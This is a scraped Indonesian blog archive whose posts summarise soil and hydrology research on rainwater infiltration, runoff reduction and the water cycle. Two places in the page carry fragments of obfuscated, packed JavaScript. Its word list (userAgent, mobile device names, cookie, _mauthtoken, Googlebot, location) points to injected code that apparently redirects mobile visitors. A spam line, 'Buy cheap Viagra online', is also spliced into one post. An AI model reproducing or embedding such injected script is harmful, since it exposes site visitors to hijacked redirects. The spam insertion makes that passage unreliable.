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LANDUSE PLANNING – COASTAL ZONE DEVELOPMENT PLANNING

November 30th, 2013 No comments

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LANDUSE PLANNING – COASTAL ZONE DEVELOPMENT PLANNING

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

MKT – KESUBURAN TANAH UNSUR MIKRO

November 30th, 2013 No comments

MKT – KESUBURAN TANAH UNSUR MIKRO


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PB Cara Mengurangi LIMPASAN AIR HUJAN

November 30th, 2013 No comments

Cara Mengurangi LIMPASAN AIR HUJAN

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Parit berkerikil untuk jalannya runoff air hujan.
Gambarlah jalan yang ditempuh oleh air limpasan, kemudian digali parit dan diisi kerikil, sehingga aliran runorr  lebih lambat dan memungkinkan air meresap ke dalam tanah.

Gunakan air hujan yang mengalir dari cucuran atap.

A 1000 atap kaki persegi dapat menghasilkan lebih dari 600 galon air limpasan untuk setiap  satu inchi  hujan yang jatuh di atasnya.  Air dari cucuran atap ini dapat dimanfaatkan untuk  lahan yang bervegetasi, seperti taman atau lahan rumput.  Gunakan ekstensi untuk memastikan air jatuh minimal 5 meter dari fondasi bangunan, menginstal penampung air hujan atau kolam untuk mengumpulkan air hujan.

Ganti rumput dengan tanaman asli.
Rumput tidak terlalu efektif dalam menyerap dan menahan air hujan, terutama pada saat hujan deras. Tanaman asli, seperti semak dan bunga-bunga liar, cenderung untuk mengembangkan sistem akar yang lebih luas dan menahan air jauh lebih banyak daripada rumput.  Vegetasi asli ini membutuhkan perawatan yang lebih mudah.

APLIKASI bahan organik ke tanah

Menambahkan bahan organik, kompos atau mulsa ke tanah dapat membuat tanaman lebih bahagia, tetapi juga dapat mengurangi air limpasan. Sebarkan 2-4 inchi lapisan bahan organik setahun sekali di permukaan tanah.

Jangan membiarkan tanah terbuka

Tergantung pada lereng dan jenis tanahnya, lahan gundul dapat berperilaku hampir sama seperti beton. Jika tidak dapat atau tidak ingin menanam vegetasi pada lahan yang terbuka, tutupi muka tanah dengan mulsa, serpihan kayu, atau kerikil. Hal ini terutama penting bagi taman-taman baru yang belum mempunyai vegetasi.

Menanam pohon dan melestarikan pohon yang sudah ada.
Sistem akar pohon besar  ‘secara efektif’  menyerap air hujan di wilayah yang luas. Selain itu, kanopi pohon memperlambat jatuhnya air hujan sehingga tanah mampu menyerap jumlah air hujan yang lebih banyak . Tanaman pohon asli atau pohon yang dapat meresapkan banyak air dan disesuaikan dengan lingkungan sekitar dan merawat pohon yang ada. Untuk konstruksi rumah baru, jangan menebang pohon-pohon yang sudah ada.

Jangan menimbulkan air limpasan ketika mencuci mobil

Bawa mobil ke tempat cuci mobil (sebaiknya tempat cucian yang mendaur ulang airnya), atau mencuci mobil di halaman rumah; juga dapat mencuci mobil tanpa air.

Membuat taman hujan (rain garden).
Sebuah taman hujan adalah taman yang dibuat pada depresi (cekungan) lahan, yang dapat mengumpulkan air hujan dan memungkinkan air tersebut secara bertahap meresap ke dalam tanah. Taman hujan dapat diguat dengan berbagai ukuran dan biasanya ditempatkan di lokasi yang paling rendah dari bentang lahan atau bahkan di lokasi outlet dimana air mengalir secara alami atau air dapat diarahkan kepadanya. Tanaman air dan dasar tanah yang permeabel memungkinkan taman hujan dengan cepat menyerap air hujan dalam jumlah besar, biasanya hanya dalam beberapa jam.

Mengurangi kemiringan halaman .
Jika halaman memiliki kemiringan yang cukup curam , tanah akan mengalami kesulitan menyerap air hujan. Pertimbangkan menggali untuk membuat terras, sehingga lereng curam menjadi lebih landai.  Untuk mencegah penggenangan banjir dan kerusakan pondasi, pastikan bahwa lahan miring cukup jauh dari rumah, setidaknya 10-15 kaki.

 

Selengkapnya lihat:

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PB Bgaimana Cara Mengurangi limpasan air hujan

November 30th, 2013 No comments

Cara Mengurangi limpasan air hujan

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Limpasan air hujan adalah curah hujan yang tidak meresap ke tanah di mana ia jatuh.  Limpasan air hujan ini adalah salah satu ancaman terbesar bagi kualitas air di sebagian besar dunia .  Ketika air mengalir dari jalan-jalan, dan tempat parkir ke selokan drainage atau langsung ke saluran air, ia membawa sedimen yang dapat menyumbat sungai dan mengurangi oksigen dalam air sungai, serta bahan kimia toksik bagi ekosistem perairan dan dapat menurunkan kualitas air .  Limpasan air hujan juga dapat berkontribusi terhadap kejadian banjir, dan karena tidak mengisi ulang persediaan groundwater , dapat memperburuk fenomena kekurangan atau kelangkaan air.

Meminimalkan luas permukaan yang kedap air di lahan pekarangan rumah tinggal. Di alam , sebagian besar curah hujan membasahi tanah tempat jatuhnya. Tanaman menyerap air tanah ini melalui akarnya, dan sebagian air tanah ini memasuki groundwater , air tanah ini selama pergerakannya ke bawah mengalami pembersihan oleh matriks tanah.   ” Lingkungan binaan” biasanya  ditandai oleh permukaan yang kedap air,  sehingga sebagian besar air hujan akan melimpas di permukaan.   Untuk mengurangi luas permukaan yang kedap air dapat dilakukan:

1 . Mengganti beton atau aspal dengan paving yang berlubang-lubang.  Batu paving atau batu bata dapat digunakan untuk mengerasan teras , trotoar , dan jalan masuk perumahan. Air dapat meresap ke dalam ruang di antara batu paving, sehingga mengurangi jumlah air limpasan .

2 . Jalan untuk Ban mobil. Hanya ban mobil saja yang jalannya diperkeras, jadi ada dua strip perkerasan pada jalan masuknya mobil . Sehingga di bagian tengah dari jalan mobil itu dapat ditanami rumput atau mulsa , mengurangi luas permukaan yang diperkeras.

3 . Ganti semua atau sebagian dari paving halaman dengan jenis paving yang berlubang. Tanaman dapat tumbuh pada lubang-lubang tersebut.

4 . Mengganti paving di sudut halaman yang laing rendah dengan paving yang berlubang-lubang . Hal ini akan memungkinkan air yang terkumpul di halaman untuk meresap ke dalam tanah , bukannya mengalir ke luar halaman , akhirnya memasuki ke saluran air drainage.

5 . Jika suatu daerah harus diaspal , gunakan aspal atau beton berpori yang permeable , yang akan memungkinkan setidaknya sebagian air hujan meresap ke dalam tanah . Perlu diingat bahwa efektivitas bahan-bahan tersebut terbatas karena air cenderung untuk mengalir-pergi sebelum dapat meresap ke dalam tanah , terutama jika kemiringan lahan cukup miring.  Selain itu juga harus dipastikan bahwa tanah di bawah paving cukup permeable untuk meresapkan air hujan.

 

Selengkapnya lihat:

http://www.wikihow.com/Reduce-Stormwater-Runoff-at-Your-Home

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SIKLUS AIR HUJAN

November 30th, 2013 No comments

SIKLUS  AIR HUJAN

Ada EMPAT  jalur utama dalam siklus air global: presipitasi, evaporasi, transfer uap dari laut ke darat, dan arus balik AIR di sungai dan GROUNDWATER dari darat ke lautan.

Berikut ini aliran air dalam jalur yang berbeda:

1. Jumlah curah hujan = 0,5 x 106 km3 / tahun (~ 0,385 di atas lautan, 0.111 di darat)
2. Penguapan dari laut = 0.425 x 106 km3 / tahun

3.  Waktu Tinggal di lautan, Rt = (1.350 km3 106) / (0,425 106 km3/yr) = 3.176 tahun

4. Waktu tinggal air di atmosfir.

The Global Water Cycle – Pathways and Fluxes. (Values in 103

Buy cheap Viagra online

km3/yr).

Sumber:
selengkapnya lihat: http://www.globalchange.umich.edu/globalchange1/current/lectures/kling/water_nitro/water_nitro.html

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INFILTRASI AIR HUJAN – PROFIL TANAH BERLAPIS

November 30th, 2013 No comments

INFILTRASI AIR HUJAN -  PROFIL TANAH BERLAPIS

 

Model infiltrasi berdasarkan asumsi Green-Ampt dikembangkan untuk kelas TANAH- tanah yang tidak-seragam, dimana konduktivitas hidroliknya menurun sebagai fungsi eksponensial dari kedalaman tanah, dan faktor storage-suction dianggap konstan.

Analisis konduktivitas hidrolik dan porositas tanah menunjukkan bahwa model ini mungkin berguna pada beberapa kondisi tanah , di mana perubahan karakteristik hidrolik dengan kedalaman tanah menghikuti  bentuk fungsi ini.

Sebuah metode untuk menerapkan model dengan waktu hujan yang beragam juga telah disusun.

Model ini diterapkan untuk mensimulasikan hasil eksperimen Childs & Bybordi (1969) yang mengukur infiltrasi air hujan ke dalam profil tanah pasir yang berlapis.

Kesesuaian yang cukup baik ditemukan untuk kasus ini.

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PREDIKSI infiltrasi kumulatif  (I) untuk dua tanah dengan KQ = 0,02 m / jam. Garis putus-putus f = -12,0 / m,  garis putus-titik f = – 2,8 / m; garis utuh adalah curah hujan kumulatif.  Panah menunjukkan waktu perkiraan genangan, (a) r = 0,05 m / jam, (b) r = 0,02 m / jam.

 

Sumber: KEITH BEVEN. 1984. Infiltration into a class of vertically nonuniform soils
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INFILTRASI AIR HUJAN – OLAH TANAH DAN MULSA PERMUKAAN

November 30th, 2013 No comments

INFILTRASI AIR HUJAN  – MULSA PERMUKAAN

 

Lalu lintas roda kendaraan pertanian dapat menyebabkan pemadatan tahnah dan degradasi sifat fisik tanah . Penelitian ini dilakukan untuk menilai dampak pemadatan tanah akibat  lalu lintas kendaraan di atas tanah selama 5 tahun .

Sebuah traktor dengan ukuran poros berat 40 kN digunakan untuk menerapkan lalu lintas di berbagai wheelslip pada tanah liat dengan berbagai kondisi residu penutup permukaan untuk mensimulasikan efek lalu lintas operasi kendaraan dalam sistem produksi gandum di Australia bagian utara.  Sebuah simulator curah hujan digunakan untuk mempelajari karakteristik infiltrasi air hujan.

Lalu lintas roda kendaraan secara signifikan mengurangi waktu untuk mencapai penggenangan , laju infiltrasi konstan, dan jumlah infiltrasi dibandingkan dengan perlakuan tanah tanpa lalu-lintas  roda kendaraan, dengan atau tanpa adanya residu penutup permukaan.

Tanah “non-roda kendaraan” memiliki 4-5 kali lebih besar laju infiltrasi konstan dibandingkan dengan tanah dengan “roda kendaraan” , tidak tergantung pada kondisi residu penutup tanah. Perlakuan Wheelslip menurunkan lebih dari 10% laju infiltrasi konstan dan jumlah infiltrasi dibandingkan dengan perlakuan  3 % wheelslip,  pada kondisi ada residu penutup tanah.

Dalam kondisi tidak ada pemadatan akibat roda kendaraan , residu penutup tanah memiliki efek lebih besar terhadap kapasitas infiltrasi , dengan laju infiltrasi konstan meningkat secara proporsional dengan residu penutup tanah ( R2 = 0,98 ) . Residu penutup tanah, mempunyai lebih sedikit efek terhadap infiltrasi air hujan kalau ada efek roda kendaraan.

Hasil ini menunjukkan bahwa laju infiltrasi air hujan untuk tanah “non-roda” pada kondisi tanpa-olah tanah ternyata mirip dengan kondisi tanah perawan .

Namun demikian, ketika tanah diolah dnegan roda-traktor kelas menengah , laju infiltrasi air  hujan menurun.  Hasil ini menunjukkan bahwa lalu lintas roda-kendaraan , mungkin menjadi faktor utama yang mengendalikan infiltrasi air hujan.

Sistem pertanian dengan lalu lintas roda-kendaraan yang terbatas, dikombinasikan dengan konservasi tanah , merupakan cara untuk keberlanjutan pertanaman pada  tanah ini, meningkatkan infiltrasi , peningkatan air tersedia , dan mengurnagi erosi tanah dan limpasan permukaan.

 

SUMBER:

Yuxia Li, J. N. Tullberg and D. M. Freebairn. 2001. Traffic and residue cover effects on infiltration.  

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Australian Journal of Soil Research 39(2) 239 – 247.

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KOEFISIEN INFILTRASI AIR HUJAN – PENGISIAN GROUNDWATER

November 30th, 2013 No comments

KOEFISIEN INFILTRASI  AIR HUJAN – PENGISIAN GROUNDWATER

 

Untuk menilai resapan air tanah rata-rata tahunan PADA akuifer karst di Apennines selatan ( Italia ) , TELAH DILAKUKAN estimasi rata-rata koefisien infiltrasi efektif tahunan ( AEIC ) dengan pendekatan terpadu berdasarkan hidrogeologi , hidrologi , geomorfologi , penggunaan lahan dan penutup tanah.

Penelitian dilakukan untuk mempelajari sebagian besar lokasi di Apennines selatan yang dicakup oleh jaringan meteorologi dan mengandung 40 akuifer karst utama .

Data curah hujan dan suhu udara time series dikumpulkan melalui stasiun pemantauan yang beroperasi pada periode 1926-2012 , curah hujan efektif tahunan ( AEP ) diperkirakan , dan distribusi hujan dimodelkan , dengan mempertimbangkan hambatan orografis dan efek bayangan hujan dari pegunungan Apennines , serta kontrol ketinggian tempat.

Empat akuifer karst sampel yang mempunyai data debit mata air time series diidentifikasi untuk memperkirakan AEIC melalui persamaan Neraca Hidrologi .

Nilai AEIC yang dihasilkan berkorelasi dengan parameter lain yang mengendalikan resapan air tanah , seperti perpanjangan outcropping batuan karst, pengaturan morfologi , penggunaan lahan dan jenis tanah .

Hubungan korelasi sederhana ditemukan antara AEIC , litologi dan dataran summit, serta dan areal endorheic.

Model empiris ini telah digunakan untuk memperkirakan AEIC dan resapan air tanah di akuifer karst tahunan regional lainnya .

Nilai AEIC diperkirakan berkisar antara 48 % dan 78 % , sehingga cocok untuk interval estimasi akuifer karst lainnya di negara-negara Eropa dan Mediterania .

Hasil ini merupakan pemahaman yang lebih mendalam tentang aspek hidrologi air tanah di akuifer karst yang merupakan dasar untuk merumuskan model manajemen yang tepat untuk sumberdaya air tanah , juga memperhitungkan strategi mitigasi dampak perubahan iklim .

Akhirnya, karakterisasi hidrologi yang diusulkan juga dianggap berguna untuk penilaian limpasan tahunan rata-rata di atas pegunungan kapur-karbonat , yang merupakan topik penting pengelolaan air di Lokasi Apennines bagian selatan.

 

Sumber:  V. Allocca, F. Manna, and P. De Vita. 2013. Estimating annual effective infiltration coefficient and groundwater recharge for karst aquifers of the southern Apennines. Hydrol. Earth Syst. Sci. Discuss., 10, 10127-10159.

www.hydrol-earth-syst-sci-discuss.net/10/10127/2013/
doi:10.5194/hessd-10-10127-2013

 

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INFILTRASI AIR HUJAN – TANAMAN PENUTUP TANAH

November 30th, 2013 No comments

INFILTRASI AIR HUJAN – TANAMAN PENUTUP TANAH

 

Tanaman penutup tanah Oat dan rye memiliki potensi besar untuk mengurangi erosi ketika ditanam mengikuti tanaman kedelai di Iowa .
Tanaman penutup tanah oat dan rye ditanam dalam sistem budidaya kedelai tanpa olah tanah selama bulan Agustus 1995 , 1996 dan 1997 pada kondisi lahan miring . Infiltrasi , limpasan , dan erosi interrill,  diukur pada bulan April 1996, 1997 , dan 1998 dengan menggunakan Simulator Hujan Tipe Sprinkler – Bead  dengan menggunakan air sekitar 125 mm / jam .  Erosi rill diukur dengan membuat petak-ukur erosi. Semua pengukuran dilakukan secara bersamaan pada perlakuan interrows tracked dan inter-row untracked.

Tanaman penutup tanah tidak berpengaruh terhadap infiltrasi dan erosi pada tahun 1996 Pada tahun 1997 , kedua tanaman penutup tanah dari oat dan rye dapat mengurangi erosi interrill , tetapi pada tahun 1998 hanya rye yang dapat meningkatkan laju  infiltrasi dan mengurangi erosi dan limpasan permukaan (runoff) interrill .

Perlakuan Interrows untracked memiliki erosi dan limpasan lebih rendah, dan infiltrasi lebih tinggi ; dibandingkan dnegan perlakuan interrows tracked.

Pada tahun 1997 dan 1998 , kedua jenis tanaman penutup tanah dapat mengurangi erosi rill , namun lalu lintas roda kendaraan pertanian tidak memiliki efek yang dapat diukur terhadap erosi tanah.

 

Sumber:  T.C. Kaspar

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, J.K. Radke, and J.M. Laflen. 2001. Small grain cover crops and wheel traffic effects on infiltration, runoff, and erosion.  Journal of Soil and Water Conservation Second Quarter 2001 vol. 56 no. 2 160-164.

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LAJU INFILTRASI TANAH-TANAH ANDISOL – PENTINGNYA VEGETASI PENUTUP

November 30th, 2013 No comments

LAJU INFILTRASI  TANAH-TANAH ANDISOL  – PENTINGNYA VEGETASI PENUTUP

 

Erosi tanah dan infiltrasi dipengaruhi oleh KOMPOSISI kimia , mineralogi , dan sifat fisik tanah . Biasanya  erosi tanah meningkat dengan menurunnya infiltrasi .  Tanah-tanah Andisols biasanya dianggap sangat stabil dan tahan terhadap erosi oleh air .  Berbagai macam tanah Andisol  ditemukan di Pulau Tenerife ( Canary Islands ) .

Penelitian dilakuakn untuk menentukan laju infiltrasi dari lima tanah Andisols dan menilai pengaruh deforestasi dan perubahan vegetasi terhadap laju infiltrasi .

Konduktivitas hidrolik diukur menggunakan double ring infiltrometer  pada atanah-tanah Vitrixerands , Hapludans , Haplustands dan Fulvudands .

Tingkat Infiltrasi pada tanah alami ternyata sangat tinggi dan nilainya lebih besar dari 130 mm/jam ( 5.1 inchi/jam) .

Pemanenan vegetasi alami tampaknya meningkatkan kerapatan massa tanah,  mengurangi kandungan bahan organik (BOT) dan nilai konduktivitas hidrolik jenuh .

Dengan kondisi seperti itu, bahaya erosi tanah akan meningkat lebih besar.

 

Sumber:

C.C. JimènezM. TejedorG. Morillas, and  J. Neris. 2006. Infiltration rate in andisols: Effect of changes in vegetation cover (Tenerife, Spain). Journal of Soil and Water Conservation May/June 2006 vol. 61 no. 3 153-158.

 

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INFILTRASI AIR HUJAN – KONDISI AWAL LENGAS TANAH

November 30th, 2013 No comments


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INFILTRASI AIR HUJAN   -  KONDISI AWAL LENGAS TANAH
Kapilaritas tanah  yang berhubungan dengan parameter sorptivitas tanah, sangat mempengqaruhi laju infiltrasi air hujan, terutama pada awal curah hujan atau irigasi.
Banyak model matematika yang digunakan untuk memperkirakan sorptivitas tanah  hanya berlaku untuk kondisi tanah kering.

Makalah ini membahas bagaimana sorptivitas tanah  dan komponen kapiler nya (seperti bidang permukaan pembasahan ) berubah dengan tingkat kejenuhan tanah-awal.

Efek ini dianalisis dengan modifikasi sederhana model Green-Ampt untuk sorptivitas tanah.
Model yang dimodifikasi ini memiliki aplikasi praktis: (1) secara akurat menggambarkan sorptivitas relatif tanah pada berbagai kondisi kandungan air tanah; dan (2) memungkinkan untuk kuantifikasi konduktivitas jenuh hidrolik tanah berdasarkan hasil pengukuran sorptivitas , estimasi kurva karakteristik tanah dan kondisi awal lengas tanah.
Aplikasi model ini sangat berguna pada atanah-tanah yang permeabilitasnya rendah, di mana waktu yang diperlukan untuk memperkirakan konduktivitas hidrolik melalui metode steady-state dapat menjadi tidak praktis.
Sumber:  Ryan D. Stewart,  David E. Rupp,  Majdi R. Abou Najm,  John S. Selker. 2013. Modeling effect of initial soil moisture on sorptivity and infiltration.  Water Resources Research.Volume 49, Issue 10, pages 7037–7047, October 2013.

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INFILTRASI PADA TANAH LIAT – EFEK PENGELOLAAN TANAMAN

November 30th, 2013 No comments

INFILTRASI  PADA  TANAH LIAT  -  EFEK PENGELOLAAN TANAMAN

 

KETERSEDIAAN air dan hara dalam tanah liat “claypan”  seringkali dibatasi oleh adanya horizon argilik (kandungan liat > 500 g kg-1) yang biasanya terdapat pada kedalaman 20 – 40 cm di bawah permukaan tanah.

Penelitian dilakukan untuk (1) mengevaluasi pengaruh sistem tanaman musiman jangka panjang (ACS) dan manajemen sistem tanaman tahunan (PCS) [seperti Program Konservasi Reservation (CRP) dan tanaman hijauan]  terhadap resapan air, dan (2 ) menguji hubungan antara konduktivitas listrik tanah (ECA) dan sifat-sifat tanah “claypan” lainnya dengan parameter resapan air.

Efek manajemen ACS dan PCS terhadap parameter infiltrasi air juga dievaluasi dengan menggunakan pengukuran resapan air yang “dibendung” di lapangan. Parameter infiltrasi air diperkirakan dengan menggunakan persamaan infiltrasi Green-Ampt.

Konduktivitas listrik profil tanah diperoleh dengan menggunakan sensor EM38. Analisis varians dan kontras orthogonal digunakan untuk menentukan efek dari manajemen tanaman terhadap parameter infiltrasi air dan sifat-sifat tanah yang terkait.

Karbon organik tanah dan stabilitas agregat tanah secara signifikan (P <0,05) membaik setelah 12 tahun manajemen CRP dibandingkan dengan 12 tahun manajemen ACS.

Kadar air tanah dan Eca lebih rendah dan infiltrasi air lebih besar pada perlakuan PCS dibandingkan dnegan perlakuan ACS.

Pada perlakuan perawatan tanaman hijauan (PCS), infiltrasi air sangat meningkat jika dibandingkan dengan perlakuan ACS atau manajemen PCS lainnya.

Kadar air tanah dan karbon organik tanah secara signifikan berkorelasi dengan parameter infiltrasi air. Nilai Eca tanah secara signifikan berkorelasi dengan estimasi konduktivitas hidrolik jenuh (Ks). Hubungan ini mungkin berguna untuk pemetaan spasial-variabel infiltrasi air di dalam bentang lahan.

Perlakuan PCS berkontribusi meningkatkan resapan air serta peningkatan karbon organik tanah dan stabilitas agregat tanah.  Eca tanah mungkin berguna untuk mempelajari efek manajemen tanaman terhadap infiltrasi air tanpa pengambilan sampel yang memerlukan banyak tenaga.

 

Sumber: W. K. Jung, N. R. Kitchen

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S. H. Anderson, and  E. J. Sadler.  Crop management effects on water infiltration for claypan soils. Journal of Soil and Water Conservation January/February 2007 vol. 62 no. 1 55-63.

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INFILTRASI – KONDISI AWAL TANAH

November 30th, 2013 No comments

INFILTRASI  -  KONDISI AWAL TANAH

 

Pengetahuan tentang karakteristik infiltrasi tanah sangat penting untuk pemodelan banjir , peresapan buatan untuk akuifer , transportasi massal melalui bawah permukaan , dan evaluasi kinerja TPA sampah.
Infiltrometer disk adalah alat yang berguna untuk menentukan karakteristik infiltrasi dan permeabilitas tanah . Berbeda dengan infiltrometer konvensional, infiltrometer disk ini dapat digunakan untuk mengontrol masuknya air ke dalam tanah dengan tegangan tertentu.

Ada beberapa studi numerik simulasi infiltrasi kumulatif  vs. waktu respon dengan menggunakan infiltrometer disk, hasilnya menunjukkan bahwa  kondisi awal tanah sangat penting dalam menentukan infiltrasi. Namun demikian , perlu diteliti pengaruh pemadatan tanah-awal terhadap karakteristik infiltrasi tanah .

Dalam studi ini , sebuah infiltrometer mini-disk digunakan untuk menentukan karakteristik infiltrasi tanah berpasir yang tersedia secara lokal . Semua pengukuran dilakukan pada kondisi tanah-awal yang telah ditentukan untuk memahami pengaruhnya terhadap karakteristik infiltrasi dan permeabilitas tanah.

Hasil peneltiian menunjukkan bahwa kondisi pemadatan tanah-awal , seperti halnya juga kadar air dan densitas tanah-kering, mempengaruhi karakteristik infiltrasi tanah .

 

Sumber:

Swati Bhave  and 

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P. Sreeja. 2013. Influence of initial soil condition on infiltration characteristics determined using a disk infiltrometer. ISH Journal of Hydraulic Engineering.Volume 19, Issue 3, 2013. pages 291-296

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LAJU INFILTRASI TANAH BERPASIR – APLIKASI PUPUK KANDANG

November 30th, 2013 No comments

LAJU INFILTRASI TANAH BERPASIR – APLIKASI PUPUK KANDANG

 

Laju infiltrasi dan porositas tanah lempung berpasir YANG  “DIPERBAIKI” secara terpisah dengan pupuk kandang kambing ( GYM ) dan limbah unggas dengan dosis 30 , 50 dan 70 ton / hektar diteliti dan hasilnya dianalisis secara statistik menggunakan SPSS versi 17.

Laju Infiltrasi pada perlakuan pupuk kandnag kambing dan limbah unggas menunjukkan perbedaan yang signifikan ( p < 0,01 ) , variasi infiltrasi pada perlakuan GYM lebih unggul dibandingkan dengan penggunaan limbah unggas . Laju Infiltrasi pada perlakuan limbah unggas dan perlakuan tanah kontrol menunjukkan korelasi yang sempurna ( r = 0,99 , p < 0 .01 ) .

Aplikasi pupuk kandang kambing 70 t/ha menunjukkan tidak ada efek jangka pendek yang superior terhadap laju infiltrasi dibandingkan dnegan dosis aplikasi yang lebih rendha.

Laju infiltrasi konstan pada tanah yang diperlakukan dnegan 30T/ha GYM menurun menjadi 1.60cm/min dan 1.69cm/min untuk tanah kontrol, dan perlakuan ini dianjurkan untuk konservasi air irigasi yang optimal pada atanah-tanah lempung berpasir .

Perubahan porositas tanah pada perlakuan GYM lebih kecil dibandingkan dnegan perlakuan limbah unggas .

 

Sumber:

Essien, O.E. 2011. Effect Of Varying Rates Of Organic Amendments On Porosity And Infiltration Rate Of Sandy Loam Soil.The Journal of Agriculture and Environment Vol:12, Jun.2011, Page 51-58

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INFILTRASI – EFEK PENGOLAHAN TANAH

November 30th, 2013 No comments

INFILTRASI  -  EFEK PENGOLAHAN TANAH

Praktek konservasi tanah diharapkan dapat meningkatkan infiltrasi dengan meninggalkan saluran akar tua utuh DALAM TANAH, yang memungkinkan air merembes lebih dalam melalui lapisan Vadose tanah.
Selain itu, residu organik di permukaan tanah biasanya memperlambat pergerakan air di permukana atanah sehingga lebih banyak waktu bagi air untuk infiltrasi.
Namun demikian, dalam banyak situasi irigasi permukaan, meningkatkan infiltrasi sebenarnya menghambat pergerakan air “menuruni” lahan, sehingga aplikasi air harus lebih banyak dan efisiensi irigasi menurun.
Pada semua lokasi, sampel tanah diambil sebelum pengukuran infiltrasi untuk menentukan apakah ada perbedaan dalam kelembaban tanah pada lapisan topsoil 30 inchi.
Perbandingan kedalaman rata-rata air infiltrasi pada perlakuan Olah-tanah konvensional dan Olah-tanah konservasi di Coolidge pada Mei 2002.
Sumber:
CONSERVATION TILLAGE EFFECTS ON INFILTRATION AND IRRIGATION ADVANCE TIMES.  E.C. Martin, K.O. Adu-Tutu, W.B. McCloskey, S.H. Husman, P. Clay and M. Ottman.  University of Arizona, Tucson, AZ.


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Arizona Cotton Report (P-142) May 2005

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DIT INFILTRASI AIR HUJAN KE DALAM PROFIL TANAH

November 30th, 2013 No comments

INFILTRASI AIR HUJAN KE DALAM  PROFIL TANAH

 

Proses Infiltrasi dan drainase DALAM PROFIL  tanah yang berlapis-lapis   menjadi lebih rumit oleh perbedaan sifat hidrolik setiap lapisan dalam profil tanah.

Penelitian dilakukan untuk mengevaluasi kinerja dari model histeresis dan non – histeresis dalam mensimulasikan proses infiltrasi dan drainase dari tiga profil tanah alami yang berbeda dan mengandung sebanyak 20 lapisan yang berbeda teksturnya.  Sifat hidrolik diperkirakan dari tekstur tanah dengan menggunakan fungsi pedotransfer dan dikalibrasi serta divalidasi menggunakan kadar air yang diukur selama tahapan infiltrasi dan drainase .

Hasil penelitian mendukung penggunaan fungsi pedotransfer Arya-Paris untuk memperkirakan kurva pembasahan dengan memperhitungkan sudut kontak . Parameter Persamaan Kozeny – Carmen dievaluasi dengan mengoptimalkan estimasi konduktivitas hidrolik jenuh . Model numerik yang dikalibrasi ( Hydrus – 1D ) sangat akurat untuk simulasi profil kadar air tanah dan volume air selama fase infiltrasi dan drainase .

Kesalahan rata-rata prediksi ( MEP ) antara kadar air tanah yang diukur dengan kadar air tanah estimasi bervariasi dari -0,030 -  0,010 cm3 /cm 3 , dan standar deviasi prediksi ( SDP ) 0,003 – 0,057 cm3 /cm3 .

Simulasi ini diperbaiki untuk profil tanah yang lebih heterogen ketika memperhitungkan hysteresis . Hasil pengukuran dan hasil simulasi menunjukkan bahwa profil tanah dengan heterogenitas tekstur tanah secara vertikal dapat menyimpan lebih banyak air daripada tanah yang teksturnya homogen secara  vertikal pada kondisi “drained”.

 

Sumber:

Huang, M., Barbour, S. L., Elshorbagy, A., Zettl, J. D. and Si, B. C. 2011. Infiltration and drainage processes in multi-layered coarse soils

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel